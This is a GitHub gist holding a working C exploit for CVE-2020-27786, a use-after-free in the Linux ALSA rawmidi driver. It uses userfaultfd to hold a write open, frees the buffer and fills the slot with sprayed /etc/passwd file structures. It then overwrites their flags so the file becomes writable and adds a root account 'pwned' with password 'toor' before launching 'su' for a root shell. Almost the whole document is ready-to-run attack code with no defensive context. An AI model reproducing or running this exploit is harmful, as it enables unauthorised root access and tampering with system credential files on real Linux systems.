Created
May 24, 2023 23:33
-
-
Save soez/14bedacaadf2f3db15226a98dcfca5bf to your computer and use it in GitHub Desktop.
CVE-2020-27786 exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* | |
* Author: @javierprtd | |
* Date : 21-05-2023 | |
* Kernel: 4.9.220 | |
* | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdbool.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <sys/ioctl.h> | |
#include <errno.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <stdint.h> | |
#include <sound/asound.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <linux/userfaultfd.h> | |
#include <pthread.h> | |
#include <poll.h> | |
#define MAX_FILES_SPRAY 256 | |
#define ADDRESS_PAGE_FAULT 0x11000 | |
#define PAGE_SIZE 0x1000 | |
#define DRIVER_RAWMIDI "/dev/snd/midiC0D0" | |
#define SNDRV_RAWMIDI_STREAM_OUTPUT 0 | |
#define SNDRV_RAWMIDI_IOCTL_PARAMS _IOWR('W', 0x10, struct snd_rawmidi_params) | |
uint32_t uffd; | |
uint32_t fd_spray[MAX_FILES_SPRAY]; | |
bool release_page_fault = false; | |
pthread_t thread[2]; | |
struct args_trigger { | |
uint32_t fd; | |
char *addr; | |
}; | |
void hexdump(uint64_t *buf, uint64_t size) { | |
for (int i = 0; i < size / 8; i += 2) { | |
printf("0x%x ", i * 8); | |
printf("%016lx %016lx\n", buf[i], buf[i + 1]); | |
} | |
} | |
void register_userfaultfd(uint64_t *range) { | |
struct uffdio_api uffdio_api; | |
struct uffdio_register uffdio_register; | |
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); | |
if (uffd == -1) { | |
perror("[-] userfaultfd"); | |
exit(0); | |
} | |
uffdio_api.api = UFFD_API; | |
uffdio_api.features = 0; | |
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) { | |
perror("[-] ioctl"); | |
exit(0); | |
} | |
uffdio_register.range.start = (uint64_t) range; | |
uffdio_register.range.len = PAGE_SIZE; | |
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; | |
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) { | |
perror("[-] ioctl"); | |
exit(0); | |
} | |
puts("[+] Userfaultfd registered"); | |
} | |
void *handler_userfaultfd(void *args) { | |
uint64_t uffd = *(uint64_t *) args; | |
struct uffd_msg msg; | |
struct uffdio_copy uffdio_copy; | |
void *page = NULL; | |
uint64_t nread; | |
if ((page = mmap((void *) 0x50000, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED) { | |
perror("[-] mmap()"); | |
exit(0); | |
} | |
// hexdump((uint64_t *) page, PAGE_SIZE); | |
/* Fields flags and mode in file_struct are at offset 64 and 68 */ | |
uint32_t flags = 0x8002, mode = 0x480f801f; | |
memcpy(page, (char *) &flags, 2); // flags | |
memcpy(page + 4, (char *) &mode, 4); // mode | |
while (true) { | |
struct pollfd pollfd; | |
int nready; | |
pollfd.fd = uffd; | |
pollfd.events = POLLIN; | |
nready = poll(&pollfd, 1, -1); | |
if (nready == -1) { | |
perror("[-] poll"); | |
exit(0); | |
} | |
/* | |
printf("\nfault_handler_thread():\n"); | |
printf(" poll() returns: nready = %d; " | |
"POLLIN = %d; POLLERR = %d\n", nready, | |
(pollfd.revents & POLLIN) != 0, | |
(pollfd.revents & POLLERR) != 0); | |
*/ | |
nread = read(uffd, &msg, sizeof(msg)); | |
if (nread == 0) { | |
perror("[-] EOF on userfaultfd!\n"); | |
exit(0); | |
} | |
if (nread == -1) { | |
perror("[-] read"); | |
exit(0); | |
} | |
if (msg.event != UFFD_EVENT_PAGEFAULT) { | |
perror("[-] Unexpected event on userfaultfd"); | |
exit(0); | |
} | |
if (msg.arg.pagefault.address == ADDRESS_PAGE_FAULT) { | |
printf("[+] Page Fault triggered on address 0x%llx\n", msg.arg.pagefault.address); | |
while (release_page_fault == false); | |
uffdio_copy.src = (uint64_t) page; | |
uffdio_copy.dst = (uint64_t) msg.arg.pagefault.address &~(PAGE_SIZE - 1); | |
uffdio_copy.len = PAGE_SIZE; | |
uffdio_copy.mode = 0; | |
uffdio_copy.copy = 0; | |
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) { | |
perror("[-] ioctl"); | |
exit(0); | |
} | |
break; | |
} | |
} | |
close(uffd); | |
puts("[+] Page fault thread finished"); | |
} | |
void *trigger_userfaultfd(struct args_trigger *args) { | |
char *addr = (char *) args->addr; | |
uint32_t fd = (uint64_t) args->fd; | |
write(fd, addr, 72); | |
} | |
void main(void) { | |
struct snd_rawmidi_params srp; | |
puts("[*] CVE-2020-27786"); | |
puts("[+] Opening rawmidi"); | |
uint32_t fd = open(DRIVER_RAWMIDI, O_RDWR); | |
if (fd < 0) { | |
perror("[-] open"); | |
exit(0); | |
} | |
puts("[+] Mapping two pages"); | |
void *page = NULL; | |
if ((page = mmap((void *) 0x10000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED) { | |
perror("[-] mmap()"); | |
exit(0); | |
} | |
char *addr = page + PAGE_SIZE - 64; | |
memset(addr, 'A', 64); | |
puts("[+] Registering one page userfaultfd"); | |
/* Registering mapped area */ | |
register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT); | |
puts("[+] Raising up the handler for userfaultfd"); | |
/* Handler for userfault */ | |
pthread_create(&thread[0], NULL, handler_userfaultfd, (void *) &uffd); | |
puts("[+] Created one object by size 256"); | |
/* Create one object by size 256 */ | |
srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT; | |
srp.buffer_size = 232; | |
srp.avail_min = 1; | |
uint64_t err = ioctl(fd, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp); | |
if (err < 0) { | |
perror("[-] ioctl"); | |
exit(0); | |
} | |
struct args_trigger args; | |
args.addr = addr; | |
args.fd = fd; | |
puts("[+] Triggering userfaultfd"); | |
/* Blocking before object created by size 256 in userfault */ | |
pthread_create(&thread[1], NULL, (void *) trigger_userfaultfd, &args); | |
puts("[+] Deleting before object created by size 256 generating UAF"); | |
/* Deleting before object created by size 256 generating an UAF */ | |
srp.buffer_size = 234; | |
err = ioctl(fd, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp); | |
if (err < 0) { | |
perror("[-] ioctl"); | |
exit(0); | |
} | |
puts("[+] Spraying some /etc/passwd file"); | |
/* Spraying file structs /etc/passwd by size 256 */ | |
for (int i = 0; i < MAX_FILES_SPRAY; i++) { | |
fd_spray[i] = open("/etc/passwd", O_RDONLY); | |
if (fd_spray[i] < 0) { | |
perror("[-] couldn't open /etc/passwd"); | |
exit(0); | |
} | |
} | |
/* Finishing handler userfault */ | |
release_page_fault = true; | |
puts("[+] Patching flags and mode..."); | |
sleep(1); | |
puts("[+] Adding user pwned as root with password 'toor'"); | |
/* Writing user pwned as root in /etc/passwd */ | |
for (int i = 0; i < MAX_FILES_SPRAY; i++) { | |
lseek(fd_spray[i], 0, SEEK_END); | |
int n = write(fd_spray[i], "pwned:$1$pwned$H0IPi3uOaQLP6dRTZhdU0.:0:0:root:/root:/bin/bash\n", 63); | |
if (n > 0) { | |
puts("[+] User pwned as root added"); | |
break; | |
} | |
} | |
for (int i = 0; i < MAX_FILES_SPRAY; i++) { | |
close(fd_spray[i]); | |
} | |
puts("[+] Type 'toor' and get root shell :)"); | |
system("su pwned"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment